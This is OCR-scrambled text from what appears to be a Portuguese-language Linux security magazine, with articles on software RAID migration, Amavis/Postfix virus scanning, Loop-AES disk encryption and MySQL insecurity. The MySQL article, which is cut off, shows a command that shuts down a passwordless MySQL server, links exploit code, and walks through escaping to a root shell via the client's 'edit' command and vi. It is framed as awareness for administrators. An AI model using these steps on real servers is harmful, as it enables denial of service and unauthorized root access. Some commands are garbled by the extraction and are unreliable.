alto trfego) + Servidor MySQL (alta
taxa de gravao) 2 Discos IDE ATA-66
UDMA4 20 Giga Bytes 128 Mega Bytes
RAM

Disco2 (IDE), Partio1 ligado a


controladora de discos 2: (hdc1)

Particionamento (na pgina a seguir)

No exemplo acima foram adotados


discos IDE, ambos ligados como master

www.linuxsecurity.com.br

54

Parties
Ponto de Montaegm
Tamanho

/dev/md0
/dev/hda1 \____ /boot
20 Mb
/dev/hdc1 /
/dev/md1
/dev/hda2 \________________________
/dev/hdc2 /

19.980 Mb

Tipo

fd (Raid autodetect)

extendida

/dev/md2
/dev/hda5 \____ /usr
/dev/hdc5 /

1.468 Mb

fd (Raid autodetect)

/dev/hda6 \____ swap

256 Mb

82 (swap)

/dev/hdc6 \____ swap

256 Mb

82 (swap)

/dev/md3
/dev/hda7 \____ /var
/dev/hdc7 /

2.000 Mb

fd (Raid autodetect)

/dev/md4
/dev/hda8 \____ /var/lib/mysql
/dev/hdc8 /

7.000 Mb

fd (Raid autodetect)

/dev/md5
/dev/hda9 \____ /var/cache/squid
/dev/hdc9 /

9.000 Mb

fd (Raid autodetect)

A tabela de particionamento acima pode


variar de sistema para sistema. Nota-se que
as parties mais utilizadas (/var, /var/lib/
mysql e /var/cache/squid) ficam prximas e,
neste caso, no final do disco, o que pode
incrementar tanto o processo de leitura
quanto de gravao no disco.

para um esquema de dispostivos RAID


totalmente novo.

Migrando um sistema j instalado para


um dispositivos RAID

Para exemplificar passo-a-passo de


forma mais detalhada, estarei demonstrando
em um artigo na prxima edio todos os
requisitos e possibilidades de migrao de
um sistema j instalado para dispositivos
RAID, sem a necessidade de reinstalao

Mostrados todos os topicos anterior,


podemos partir agora para a migrao de
um sistema j instalado sem suporte a RAID

Sero mostradas aqui apenas algumas


observaes e procedimentos bsicos, que
j podem servir de base para a aplicao
e migrao.

www.linuxsecurity.com.br

55

do sistema.

raid-disk

Para um sistema com 2 parties de


dados e 1 partio de swap, mostraremos a
seguir todos os procedimentos de criao e
migrao para um dispositivo RAID-1
(espelhamento).

# mkraid /dev/md0
handling MD device /dev/md0
analyzing super-block
disk 0: /dev/hdb1, 20480kB, raid
superblock at 20416kB
disk 1: /dev/hdd1, 20480kB, raid
superblock at 20416kB

Partio 1: /dev/hda1
Ponto de montagem: /boot
Partio 2: /dev/hda5 (swap)
Partio 3: /dev/hda6
Ponto de montagem: /
Os discos exemplificados acima so
apenas para ilustrar, sendo que um disco de
20Gb foi particionado com apenas as
parties (/boot) e (/).
Tabela RAID

# mkraid /dev/md1
handling MD device /dev/md0
analyzing super-block
disk 0: /dev/hdb6, 20459520kB,
raid superblock at 20459456kB
disk 1: /dev/hdd6, 20459520kB,
raid superblock at 20459456kB
# cat /proc/mdstat
Personalities : [raid1]
read_ahead 1024 sectors
md0 : active raid1 hdb1[0] hdd1[1]
20480 blocks [2/2] [UU]
md1 : active raid1 hdb6[0] hdd6[1]
20459520 blocks [2/2] [UU]

# cat /etc/raidrab
raiddev /dev/md0
raid-level
nr-raid-disks
persistent-superblock
chunk-size
device
raid-disk
device
raid-disk
raiddev /dev/md1
raid-level
nr-raid-disks
persistent-superblock
chunk-size

1
2
1
8
/dev/hdb1
0
/dev/hdd1
1
1
2
1
8

Agora, com os dois novos dispositivos


raid criados, basta que criemos o sistema
de arquivos nos novos dispositivos:
# mkfs -t ext2 /dev/md0
# mkfs -t ext2 /dev/md1
Como este exemplo genrio, sero
criados ambos os sistemas de arquivos com
blocagem de 4096 bytes. Isto pode ser
alterado para incrementar a performance,
ou para optimizar o espao utilizado em
disco, adicionando a opo -b N ao
comando, sendo N o tamanho do bloco :

# mkfs -t ext2 /dev/md1 -b 1024


device
raid-disk
device

/dev/hdb6
0
/dev/hdd6

Sero criados os blocos de 1024 bytes

www.linuxsecurity.com.br

56

no disco, aumentando a tabela de inodes,


porm utilizando melhor o espao em disco.
Em contra partida, a performance dever
decair um pouco. Entra aqui a observao
do incio deste artigo, sobre memria fsica,
que poder amenizar esta perda de
performance.
Com os sistemas de arquivos j criados,
basta mont-los em um novo ponto de
montagem e preparar o ambiente para
migrao.
Preparao do ambiente
Um fator importante a se notar aqui
que para a migrao dos dados os
dispositivos origem devem estar
montados, porm sem receber quaisquer
alteraes ou gravao. Assim, ser de
extrema importncia que todos os servios
estejam parados, inclusive o servio de logs.
Com todos os servios parados, podese criar os pontos de montagem
necessrios:
# mkdir /raid
# mount /dev/md1 /raid
# mkdir /raid/boot
# mount /dev/md0 /raid/boot
Montados os dispositivos, basta
executar a copia dos dados.
IMPORTANTE: Esta cpia feita partio
por partio, sendo assim, para cada
partio do disco em funcionamento ser
necessrio executar o comando abaixo,
atentando para o destino da copia:

Copiar partio /boot


# pwd
/
# cd /boot
# pwd
/boot
# find . -xdev | cpio -pm /raid/
boot
(saida do comando cpio)

Copiar partio /
# pwd
/boot
# cd /
# pwd
/
# find . -xdev | cpio -pm /raid
A opo -xdev do comando find, faz
com que a busca pelos arquivos ocorra penas
na partio de incio da busca. Em resumo,
parties montadas a partir da origem sero
ignoradas e, consequentemente, os arquivos
destas parties no sero copiados.
Copiados todos os arquivos, basta
agora re-escrever o boot-loader. Mostraremos
aqui o procedimento com o lilo, que o
mais comumente utilizado:
Primeiramente, troque o root do
sistema para os dados do disco j
espelhado.
# chroot /raid
Feito isto, edite o arquivo /etc/
lilo.conf, que agora ser acessado j na
cpia, via chroot.

www.linuxsecurity.com.br

57

# cat /etc/lilo.conf
boot=/dev/md0
map=/boot/map
install=/boot/boot.b
default=linux
prompt
timeout=50
lba32
image=/boot/vmlinuz-2.2.19
label=linux
root=/dev/md1
initrd=/boot/vmlinuz-2.2.19
read-only

Referncias:
The Software-RAID HOWTO
http://www.tldp.org/HOWTO/SoftwareRAID-HOWTO.html
raidtab Man Page - (man 5 raidtab)

Atualize o lilo com o comando:


# lilo -C /etc/lilo.conf
Pronto, o sistema j foi totalmente
migrado.
Uma observao importante para o boot
verificar se as parties dos discos
participantes do array, neste caso as
parties utilizadas no /dev/md0, esto com
o flag de boot setado.
Configurar o boot para ambos os discos
evita problemas com o boot caso um dos
dispositivos venha a falhar.
Este artigo demonstrou de forma
simples, porm objetiva, as aplicaes do
recurso de RAID via Software presente no
Kernel do Linux. Novos artigos sero
publicados na LinuxSecurity Magazine, em
complemento a este, tratando sempre de
assuntos especficos como migrao,
optimizao e monitorao entre outros.

Ficha do Autor
Nome: Jos Roberto Kerne
Idade: 23 anos
Profisso: Administrador de
Sistemas e Redes, Especialista em
Desenvolvimento e Migrao de
Sistemas/Solues UNIX.

email: joseroberto@kerne.org

Informaes Adicionais
Ferramentas GNU/GPL Desenvolvidas:
PDLGS - Power Database Log Generator for Squid
http://pdlgs.sourceforge.net
PIDS - Power Intrusion
http://pids.sourceforge.net

Detection

System

Projetos:
Fundador/Mantenedor/Desenvolvedor de contedo
Dicas
Linux
http://www.dicaslinux.com.br

Site: http://www.dicaslinux.com.br

www.linuxsecurity.com.br

58

Guia rpido para a configurao do Amavis com Postfix no Conectiva Linux 8.0
por Emerson Reis

plataforma, utilize o comando uname -m:


Este artigo tem como objetivo, auxiliar
a voc como configurar o Amavis com o
Postfix em um Conectiva Linux 8.0, mas
antes de comearmos, iremos apresentar os
pr-requisitos para que esta soluo tenha
xito total:

# uname -m
i686
Ento, para i386:
# wget ftp://rpmfind.net/linux/PLD/
current/dists/ra/PLD/i686/PLD/RPMS/
arc-5.21e-5.i386.rpm

- Perl
- Anti-virus scanner ( iremos utilizar o
virusscan da NAI ( http://www.nai.com.br ))
- Criar o usurio vscan
- file ( instalado por padro no cl 8 )
- arc
- bzunip2 ( instalado por padro no cl 8 )
- lha
- unarj

# wget ftp://rpmfind.net/linux/PLD/
current/dists/ra/PLD/i686/PLD/RPMS/
lha-1.14f-2.i386.rpm
# wget ftp://rpmfind.net/linux/PLD/
current/dists/nest/PLD/i686/PLD/RPMS/
unarj-2.43-9.i386.rpm
# wget ftp://rpmfind.net/linux/PLD/
current/dists/nest/PLD/i686/PLD/RPMS/
unrar-2.71-1.i386.rpm
# wget ftp://rpmfind.net/linux/PLD/
current/dists/ra/PLD/i686/PLD/RPMS/
zoo-2.10-6.i386.rpm

- uncompress ( instalado por padro no cl 8 )


- unrar
- zoo

Ok, vamos colocar a mo na massa.


Vamos baixar os seguintes arquivos:

Para i586:
# wget ftp://rpmfind.net/linux/PLD/
current/dists/ra/PLD/i586/PLD/RPMS/
arc-5.21e-5.i586.rpm
# wget ftp://rpmfind.net/linux/PLD/
current/dists/ra/PLD/i586/PLD/RPMS/
lha-1.14f-2.i586.rpm

arc - lha - unarj - unrar - zoo


Estes pacotes podem ser encontrados
facilmente no rpmfind.net ( http://
www.rpmfind.net ).
Devemos observar qual a plataforma
que voc est utilizando, no meu caso eu
utilizo um Celeron 666 Mhz ou i686. Para
que voc possa saber qual a sua

# wget ftp://rpmfind.net/linux/PLD/
current/dists/nest/PLD/i586/PLD/RPMS/
unarj-2.43-9.i586.rpm
# wget ftp://rpmfind.net/linux/PLD/
current/dists/nest/PLD/i586/PLD/RPMS/
unrar-2.71-1.i586.rpm

www.linuxsecurity.com.br

59

# wget ftp://rpmfind.net/linux/PLD/
current/dists/ra/PLD/i586/PLD/RPMS/
zoo-2.10-6.i586.rpm

Para i686
# wget ftp://rpmfind.net/linux/PLD/
current/dists/ra/PLD/i686/PLD/RPMS/
arc-5.21e-5.i686.rpm
# wget ftp://rpmfind.net/linux/PLD/
current/dists/ra/PLD/i686/PLD/RPMS/
lha-1.14f-2.i686.rpm
# wget ftp://rpmfind.net/linux/PLD/
current/dists/nest/PLD/i686/PLD/RPMS/
unarj-2.43-9.i686.rpm
# wget ftp://rpmfind.net/linux/PLD/
current/dists/nest/PLD/i686/PLD/RPMS/
unrar-2.71-1.i686.rpm
# wget ftp://rpmfind.net/linux/PLD/
current/dists/ra/PLD/i686/PLD/RPMS/
zoo-2.10-6.i686.rpm

# rpm -ihv arc-5.21e-5.i686.rpm


lha-1.14f-2.i686.rpm unarj-2.439.i686.rpm
unrar-2.71-1.i686.rpm
zoo-2.10-6.i686.rpm
Na seqncia, iremos baixar e compilar
os mdulos PERL necessrios para nossa
soluo:
#

never)? [atstart] ENTER


Cache metadata (yes/no)? [yes] ENTER
Your terminal expects ISO-8859-1 (yes/
no)? [yes] ENTER
Policy on building prerequisites (follow, ask or ignore)? [ask] follow
ENTER
Policy on building prerequisites (follow, ask or ignore)? [ask] follow
ENTER
Where is your gzip program? [/bin/
gzip] ENTER
Where is your tar program? [/bin/tar]
ENTER
Where is your unzip program? [/usr/
bin/unzip] ENTER
Where is your make program? [/usr/bin/
make] ENTER
Where is your lynx program? [/usr/bin/
lynx] ENTER
Where is your wget program? [/usr/bin/
wget] ENTER
Where is your ncftpget program? [/usr/
bin/ncftpget] ENTER
Where is your ftp program? [/usr/bin/
ftp] ENTER
What is your favorite pager program?
[/usr/bin/less] ENTER
What is your favorite shell? [/bin/
bash] ENTER
Your choice: [] ENTER
Your choice: [] ENTER
Timeout for inactivity during
Makefile.PL? [0] ENTER
Your ftp_proxy? ENTER
Your http_proxy? ENTER
Your no_proxy? ENTER

perl -MCPAN -eshell

/usr/lib/perl5/5.6.1/CPAN/Config.pm
initialized.
Are you ready for manual configuration? [yes]
ENTER
CPAN build and cache directory? [/
root/.cpan] ENTER
Cache size for build directory (in
MB)? [10] ENTER
Perform cache scanning (atstart or

(1)
(2)
(3)
(4)
(5)
(6)
(7)

Africa
Asia
Central America
Europe
North America
Oceania
South America

www.linuxsecurity.com.br

60

Select your continent (or several


nearby continents) [] 7 ENTER
(1) Argentina
(2) Brazil
(3) Chile
Select your country (or several
nearby countries) [] 2 ENTER
(1) ftp://cpan.pop-mg.com.br/pub/CPAN/
(2) ftp://ftp.matrix.com.br/pub/perl/CPAN/
Select as many URLs as you like,
put them on one line, separated by blanks
[] 1 ENTER
Enter another URL or RETURN to
quit: [] ENTER
[wait::1404] ENTER
cpan>
Voc est no console CPAN. Agora
iremos instalar e compilar os mdulos PERL
necessrios para nossa soluo. Execute os
comandos abaixo. Estes comandos iro fazer
o download, a descompactao, compilao
e instalao dos mdulos automaticamente.
Vamos executar os seguintes comandos
(lembramos que o linux case-sensitive e
os comandos devem ser digitados conforme
demonstrados abaixo):
cpan> install Unix::Syslog
cpan> install Convert::UUlib
cpan> install Convert::TNEF
cpan> install Compress::Zlib
cpan> install Archive::Tar
cpan> install Archive::Zip
cpan> install G/GB/GBARR/
MailTools-1.15.tar.gz
cpan> install MIME::Tools
cpan> install Bundle::libnet

Ok, os mdulos PERL esto compilados


e configurados corretamente. Teremos agora
que instalar o antivrus da NAI. Caso voc
no tenha o antivrus, faa o download da
verso shareware no site da nai ( http://
www.nai.com.br ).
Descompactando o McAfee:
# cd /tmp
# tar zxvf vlnx416l.tar.z
scan.dat
names.dat
clean.dat
readme.txt
license.txt
contact.txt
unxadmin.pdf
uvscan.1
liblnxfv.so.4
uvscan
messages.dat
license.dat
install-uvscan
uninstall-uvscan
liblnxfv.so
# ./install-uvscan
Which directory do you want to install
into? [/usr/local/uvscan] ENTER
Do you want to create the necessary
link(s) to uvscan [y]/n y
Do you want to create the necessary
link(s) to liblnxfv.so.4 [y]/n y
Do you want to create the necessary
link(s) to uvscan.1 [y]/n y
/usr/local/man/man1 doesnt exist.
Create it? [y]/n y
Installation complete.
Do you want to perform a scan of all

filesystems y/[n] n
Para que o uvscan funcione
corretamente no Conectiva 8.0, ser
necessrio que voc instale a compatwww.linuxsecurity.com.br

61

Compilando e instalando o amavis em


seu sistema:

libstdc++:
# apt-get install compat-libstdc++
Agora, iremos realizar o download do
amavis. Execute do endereo:
http://www.amavis.org/dist/perl/
amavis-perl-11.tar.gz
Descompacte o arquivo amavis-perl11.tar.gz :
Agora entre no diretrio do amavis-perl11 e execute os comandos a seguir:
# cd amavis-perl-11
# adduser vscan
# ./configure enable-smtp enable-postfix with-amavisuser=vscan
Resultado final deve ser
semelhante ao apresentado abaixo:

# make
# make install
Aps a compilao do amavis, devemos
configurar o Postfix para que o amavis analise
os e-mails recebidos ou enviados pelos
usurios de sua rede. Lembramos que no
iremos descutir aqui a instalao e
configurao correta do MTA Postfix, mas
sim apenas o necessrio para que o amavis
funcione corretamente. Caso no tenha o
Postfix configurado, voc poder encontar
um tutorial em http://www.linux.trix.net/
dicas_postfix.htm.
Entre no diretrio do postfix (
geralmente /etc/postfix) e adicione a
seguinte linha ao arquivo main.cf:

algo

####################################################################
** Configuration summary for amavis perl-11 2001-04-07:
Install amavis as:
/usr/sbin/amavis
Configured for use with:
postfix
Relay configuration:
no
Enable SMTP:
yes
Use SMTP port:
10025
Use virus scanner(s):
McAfee Virusscan
Scanner runs as:
vscan
Logging to syslog:
yes
Quarantine directory:
/var/virusmails
Max. recursion depth:
20
Add X-Virus-Scanned header: yes
Display AMaViS credits:
no
Warn sender:
yes
Reports sent to:
virusalert
Reports sent by:
postmaster
To accept the above, type make
###################################################################

www.linuxsecurity.com.br

62

content_filter = vscan
Adicionar as seguintes linhas ao
arquivo master.cf:
vscan
unix n
n
10
pipe user=vscan
argv=/usr/sbin/amavis ${sender} ${recipient}
localhost:10025 inet
n
n
smtpd
-o content_filter=

Ok, est tudo certo agora. Caso queira


traduzir as mensagens do amavis, edite o
seguinte arquivo:
/usr/sbin/amavis
Para que voc possa testar a eficcia
desta soluo, v a pgina http://
www.eicar.com e faa o download da
assinatura de vrus de teste, enviando o
arquivo em anexo para qualquer e-mail do
sistema. Voc dever receber mensagens de
erro do amavis avisando sobre a
contaminao.

Divirtam-se.
Ficha do Autor
Nome: Emerson Reis
Idade: 26 anos
Profisso: Analista de Suporte HyperLinux

Foto No
Disponvel

email: eluizbr@hyperlinux.com.br

Informaes Adicionais

Site: http://www.hyperlinux.com.br

www.linuxsecurity.com.br

63

Criptografia de disco
por Jair Valmor Basso Jnior

Util-Linux: http://www.kernel.org/pub/
linux/utils/util-linux/Loop-AES: http://loopaes.sourceforge.net/
Todo mundo fala que devemos
criptografar nossos e-mails, nossos arquivos
importantes e tudo que for marcado como
sigiloso, mas que tal criptografar o disco
inteiro??
Imagine que voc, um importante
homem de negcios, tenha seu notebook
roubado contendo diversos documentos e
arquivos de alta importncia para a empresa
onde trabalha. Essas informaes em mos
erradas podem ser fatais e render grandes
prejuzos.
Criptografar arquivo por arquivo pode
ser uma soluo, mas deve-se criar uma
rotina para que nenhum arquivo acabe
sobrando. A criptografia do disco inteiro pode
salvar sua pele, j que tudo armazenado
dentro do sistema de arquivos estar
automaticamente criptografado e sem a
senha correta, ser impossvel montar o
volume para acessar os dados.
Existem diversas implementaes que
podemos utilizar para essa finalidade, a
maioria consiste em aplicar patches no
kernel, e isso acaba sendo um problema
porque em diversas situaes no existem
patches para as verses de kernel mais
novas.
Optando pela simplicidade e facilidade,
escolhi o pacote Loop-AES, o qual irei
detalhar a instalao e utilizao.
Esse artigo foi escrito utilizando Red
Hat 7.1, kernel 2.4.18, loop-AES-v1.6e e utillinux-2.11r, rodando em cima do Vmware 3.0
build 1455.

Kernel: http://www.kernel.org
Primeiro, temos que nos certificar que
o kernel que estamos utilizando no tem
suporte ao dispositivo de bloco chamado
loop. Se voc no sabe, melhor recompilar
seu kernel/mdulos para ter certeza. A
opo Loopback device support dentro do
Block devices deve estar desmarcado,
lembre-se disso ao efetuar a recompilao.
Duas maneiras fceis de descobrir se o
seu kernel no possui esse suporte:
1
root/bash# insmod loop
insmod: loop: no module by that
name found
2
root/bash# grep
CONFIG_BLK_DEV_LOOP /usr/src/
linux/.config
CONFIG_BLK_DEV_LOOP is not set
Aps nos certificarmos que nosso kernel
no tem suporte ao loop, vamos atacar o
Loop-AES.
Descompactamos o pacote:
root/bash# bunzip2 ~/loop-AESv1.6e.tar.bz2 -c |tar xvf Compilamos o pacote:

www.linuxsecurity.com.br

64

root/bash# cd loop-AES-v1.6e
root/bash# make
Aps alguns segundos, se nada de
errado ocorrer durante a compilao,
devermos ver as mensagens:
Currently running kernel is
2.4.18
Module was built for kernel
2.4.18
Como o kernel que estou usando o
2.4.18, ele me indica isso nas mensagens
acima.
Com isso temos o mdulo criado:
# ls -l loop.o
-rw-rr
1 root
root
14416 Jul 10 15:53 loop.o
interessante copiar o mdulo para o
diretrio de mdulos de seu sistema, para
que
ele
possa
ser
carregado
automaticamente sempre que precisarmos.
No meu sistema exemplo, copiei o
arquivo para:
/lib/modules/2.4.18/kernel/drivers/block
e ajustei as dependncias:
root/bash# depmod -a
Se voc usa o kernel 2.4.x, o caminho
deve ser parecido, mudando apenas a verso
do kernel.
Agora precisamos aplicar alguns patches
no pacote util-linux, para que certos binrios
do sistema se tornem compatveis com a
criptografia.
Descompactamos
e

atualizamos:
root/bash# bunzip2 util-linux2.11r.tar.bz2 -c | tar xvf root/bash# cd util-linux-2.11r
root/bash# patch -p1 < ../loopAES-v1.6e/util-linux-2.11r-1.diff
root/bash# patch -p1 < ../loopAES-v1.6e/util-linux-2.11r-2.diff
Note que o Loop-AES vem com os
patches para o util-linux-2.11r, se voc
estiver utilizando alguma verso diferente,
verifique os patches corretos para sua
verso.
Agora compilamos:
root/bash# ./configure
root/bash# make
A compilao deve ocorrer sem
problemas.
Agora podemos instalar os novos
binrios, sobrescrevendo os binrios
antigos. Para descobrir onde esto os
binrios antigos em sua distribuio,
execute os seguintes comandos:
root/bash# which mount umount
losetup
Como estou efetuando a instalao em
um Red Hat 7.1, vou respeitar os diretrios
da distribuio:
root/bash# install -m 4755 -o root
mount/mount /bin
root/bash# install -m 4755 -o root
mount/umount /bin
root/bash# install -m 755 -o root
monut/losetup /sbin
Agora atualizamos as pginas manuais:

www.linuxsecurity.com.br

65

# rm -f /usr/man/man8/
{mount,umount,losetup}.8.gz
# install -m 644 mount/mount.8
mount/umount.8 mount/losetup.8 /
usr/man/man8
# rm -f /usr/man/man5/fstab.5.gz
# install -m 644 mount/fstab.5 /
usr/man/man5
Podemos testar o mdulo loop.o
agora. Executamos um make tests dentro
do diretrio loop-AES-v1.6e.
Se tudo ocorrer bem, vamos ser
presenteados com um:
*** Test results ok ***
Ok! Funciona! Podemos agora aplicar
todo o trabalho acima em algo til ;-)
1) Utilizando uma imagem criptografada como
filesystem.
Criamos um arquivo de um tamanho
qualquer, de 10Mb no exemplo abaixo:
root/bash# dd if=/dev/zero of=/
tmp/img01 bs=10k count=1024
Associamos um dispositivo de loop ao
arquivo, ser pedido uma senha de no
mnimo 20 caracteres:

Agora podemos montar a imagem em


um diretrio qualquer, voc ter que fornecer
a senha para isso:
root/bas# mount /tmp/img01 /mnt -o
loop=/dev/loop0,encryption=AES128
Pronto! Experimente copiar um arquivo
texto qualquer para l agora, por exemplo:
root/bash# cp /etc/inittab /mnt
Vamos tirar a prova:
root/bash# umount /mnt
root/bash# strings /tmp/img01|more
Se o arquivo realmente estiver
criptografado, voc vai receber s caracteres
de lixo em sua tela, seno, voc poderia
ver o contedo do arquivo copiado para l.
Voc pode guardar todos os arquivos
confidenciais dentro desse file system
criptografado, e mont-lo/desmont-lo
quando necessrio.
Com esse arquivo criptografado,
criamos uma espcie de caixa preta, j que
podemos copi-los para disquetes e
transport-los para onde quisermos, desde
que o ambiente onde estejamos trabalhando
tenha o suporte necessrio para acess-lo.

root/bash# losetup -e AES128 /dev/


loop0 /tmp/img01

2) Um outro exemplo interessante


criptografar logo uma partio inteira do seu
HD!

Criamos o sistema de arquivos e


desassociamos o dispositivo do arquivo:

Na minha situao, tenho uma partio


/dev/sda5 disponvel.

root/bash# mkfs.ext2 /dev/loop0


root/bash# losetup -d /dev/loop0

Anexamos a partio em um dispositivo


de loop:

www.linuxsecurity.com.br

66

root/bash# losetup -e AES128 /dev/


loop0 /dev/sda5
Fornecemos a senha de 20 caracteres e
ento criamos o sistema de arquivos:

root/bash# mkfs.ext2 /dev/loop0

testar e tirar suas prprias concluses.


Termino aqui esse artigo,
esperando que tenha sido claro o
bastante para que todos possam
entender, e que pelo menos tenha
contribudo para demonstrar a
versatilidade do Linux.

Desassociamos o dispositivo:

root/bash# losetup -d /dev/loop0


Agora podemos montar a partio:

root/bash# mount /dev/sda5 /mnt -o


loop=/dev/loop0,encryption=AES128
Tambm podemos adicionar a seguinte
linha ao /etc/fstab:
/dev/sda5
/mnt ext2
defaults,noauto,loop=/dev/
loop0,encryption=AES128 0 0
Ficha do Autor
e montar a partio simplesmente com:

root/bash# mount /mnt

Nome: Jair Valmor Basso Jnior


Idade: 23 anos
Profisso: Consultor Autnomo em
Linux e Segurana da Informao.

email: jair@sega-brasil.com.br

Outros exemplos bastante interessantes


podem ser encontrados no arquivo README
do Loop-AES, inclusive como criptografar
todas as parties de seu disco rgido.
No fiz testes de performace, mas no
notei uma queda muito grande de rendimento
devido a criptografia, isso fica para o leitor

Informaes Adicionais
Responsvel pelos tpicos de Segurana e udio
no Rau-tu Linux da Unicamp.

Site: http://www.sega-brasil.com.br/jair

www.linuxsecurity.com.br

67

www.linuxsecurity.com.br

68

(In)Segurana Bsica no MySQL


por Glaudson Ocampos

1 - Introduo
O MySQL o servidor de Banco de Dados
que mais vem crescendo na atualidade. Um
servidor robusto que possui muitos recursos
e de fcil manuseio. Por ser um Software
Livre, pode ser obtido gratuitamente e vrias
pessoas esto engajadas em melhor-lo e
torn-lo um Servidor de Banco de Dados
amigvel.
O MySQL vem sendo muito usado em
aplicaes CGI(Commom Gateway Interface)
e a interao dele com vrias linguagens de
programao o torna uma escolha certa entre
a maioria dos profissionais que lidam com
WEB. A velocidade de processamento e a
portabilidade so outros fatores que
contribuem para a escolha do MySQL como
Servidor de Banco Dados por instituies que
processam uma gama enorme de
informaes.
No entanto, com o crescente nmero
de usurios e de programadores, este
Servidor de Banco de Dados vem se tornando
alvo de inmeros tipos de ataques, onde um
atacante procura obter desde acesso as
informaes que o Banco de Dados manuseia
at mesmo acesso ao sistema alvo a partir
de vulnerabilidades no Servidor de Banco de
Dados.
Nesta perspectiva, venho trazer maiores
informaes sobre os problemas de
segurana que podem eventualmente
aparecer atravs do mau uso do Servidor de
Banco de Dados Mysql.
Um conhecimento prvio de SQL e do
MySQL so essenciais para o entendimento

deste documento. Alguns exemplos utilizam


as linguagens de programao C e PHP. As
plataformas utilizadas sero Linux
Slackware 7.0 e 8.0 e Windows 98. O Servidor
Mysql nas verses 3.23.39(Windows) e
3.23.28(Linux) sero utilizadas.
Todos os exemplos e informaes
disponibilizados neste documento possuem
somente propsito educacional. O autor e a
LinuxSecurity
Magazine
no
se
responsabilizam pelo mau uso dos mesmos.
O objetivo deste documento abordar
a necessidade de levar a srio a configurao
do Servidor MySQL e o manuseio das
databases, demonstrando de forma clara os
problemas que um mau uso pode ocasionar,
bem como sugestes para dificultar o
surgimento desses problemas.

2 - Instalao
altamente aconselhvel que o
procedimento de instalao siga os padres
especificados no arquivo INSTALL que
acompanha os pacotes do MySQL. Deve-se
ler os arquivos de instalao README, bem
como os documentos que atestam os
problemas que uma m configurao podem
apresentar.
Deve-se criar um grupo e um usuario
chamados "mysql" ou qualquer outro nome
que dever ser usado exclusivamente para
manuseio do Servidor MySQL. Este usurio
dever conter uma senha forte(mnimo de
12 caracteres, intercalados com nmeros e
case sensitive) e deve ser utilizado somente
pelo Administrador da Rede ou em redes
especiais, pelo Administrador do Servidor
MySQL.

www.linuxsecurity.com.br

69

Uma senha fraca poderia ser


perfeitamente descoberta atraves de um
simples ataque de Brute Force. Abaixo temos
um exemplo de um exploit que poderia ser
usado para este fim:
http://www.linuxsecurity.com.br/info/
revista/1/nash/localbrut.c

Os diretrios que contero as databases


precisam ter como dono e grupo os
espeficados para gerenciar o MySQL, no
nosso caso "mysql".
aconselhvel o uso de um sistema
LIDS(Local IDS) capaz de proteger os
arquivos de databases contra ataques
oriundos do super usurio (aps o atacante
ter se tornado root/administrador).

3 - Configurao
O Primeiro passo aps uma instalao
simples a configurao correta do Servidor.
Muitos Administradores de Rede apenas
instalam o Servidor e verificam se o mesmo
est sendo executado sem problemas, mas
por padro algumas medidas de segurana
precisam ser tomadas logo aps a instalao
do Servidor MySQL. Vejamos algumas no
decorrer deste item.
Logo
aps
o
trmino
da
instalao(Sistemas *NIX), a seguinte
mensagem exibida na tela:
PLEASE REMEMBER TO SET A PASSWORD FOR
THE MySQL root USER !
This is done with:
./bin/mysqladmin -u root -p password
'new-password'
./bin/mysqladmin -u root -h kimera -p
password 'new-password'
See the manual for more instructions.

No prestar atenoo a esta mensagem


tem ocasionado um dos maiores problemas
que Administradores de Rede tem
enfrentado. A no colocao da senha de
super-usurio do Mysql(root) pode ceder
espao para inmeros tipos de explorao.
OBS: Este problema acentuado em
distribuies Linux que j vem com o
MySQL instalado em sua configurao
padro.
Veremos alguns tipos de explorao
que podem ser ocasionados a partir deste
descuido do Administrador de Rede.

3.1 - Derrubando o Servidor


Um Sistema com a senha de root no
especificada se torna alvo de um ataque de
derrubada do servio de forma bem trivial.
Localmente, tudo que um atacante deveria
fazer executar a seguinte linha de
instruo:
$ /usr/local/mysql/bin/mysqladmin
-u root shutdown
Se o Servidor MySQL permite acesso
remoto, entao o seguinte exploit poderia
ser usado:
http://www.linuxsecurity.com.br/info/
revista/1/nash/myshut.c
Mas, para muitos atacantes, no
interessante a derrubada do servidor. Se ele
possui acesso a uma conta privilegiada ou
mesmo uma conta do sistema, ele
certamente ir procurar outros meios.
Dentre esses meios podemos destacar
o prximo ataque.

www.linuxsecurity.com.br

70

3.2 - Inserindo Trojan no Sistema


Muitas Vezes, sistemas de portal(portais
de Internet) interagem "CGI +
Banco de Dados".Numa tentativa de
dificultar o acesso dos atacantes, utiliza-se
senhas especificas para cada servico, ou
seja, procura-se inviabilizar um acesso a ftp
e/ou shell de qualquer relao ao acesso ao
banco de dados, utilizando-se contas ou
senhas diferenciadas.
Logo, possvel a um atacante obter
acesso somente ao banco de dados, e a partir
desse acesso ao banco de dados procurar
meios de obter maiores acessos no
sistema(visando execuo de comandos shell
onde, neste caso, um salto para se tornar
super-usurio do sistema operacional(root)
se torna uma ameaa ainda mais real).
Um esquema pode ser a incluso de
Trojan Horses no sistema, como o abaixo:
http://www.linuxsecurity.com.br/info/
revista/1/nash/mytroj.c
Este exploit bastante conceitual e
pode ser expansvel! Vrios so os possveis
trojans que podem ser inseridos e
dependendo do nivel de segurana da rede
e a critividade do fuador, pode-se ir bem
longe na exploitao de um sistema a partir
de um simples trojan horse.
O Administrador de Rede ou Analista
de Segurana precisa estar ciente das
inmeras possibilidades de obteno de shell
atravs da insero de trojans horses no
sistema. Grande parte dos problemas
envolvendo Servidores de Banco de Dados
reside na m configurao das permisses.

Abordaremos mais abaixo alguns detalhes


que podem dificultar de forma consideravel
a execuo de programas/scripts que
procuram inserir Trojans no Sistema.

3.3 - Problemas com Editor


Muitos Administradores de Rede
permitem acesso remoto apenas ao Banco
de Dados, achando que no possvel a
obteno de shell a partir do mesmo, mas a
realidade bem diferente. Por padro, o
editor usado na maioria dos sistemas *NIX
o "vi". O vi um poderoso editor de texto
que dentre inmeras outras funes interage
com metacaracteres e shell, de modo que
se um sistema permite acesso remoto ao
banco de dados, existe uma chance
considervel de um atacante com acesso
ao mesmo obter acesso (root)shell. Um
esquema exemplo pode ser visto abaixo:
$ mysql -h alvo -u anonymous
Welcome to the MySQL monitor.
Commands end with ; or \g.
Your MySQL connection id is 15 to
server version: 3.23.38
Type 'help;' or '\h' for help.
Type '\c' to clear the buffer
mysql>edit
Neste momento o editor de textos
padro ser carregado.Caso tenha sido
carregado mesmo o "vi", digitamos a
seqncia "ESC+:+!+sh", onde o + significa
"seguido de". Vejamos abaixo a seqncia
de comandos aps o ESC:

www.linuxsecurity.com.br

71

:!sh
sh-2.03# id
uid=0(root) gid=0(root)
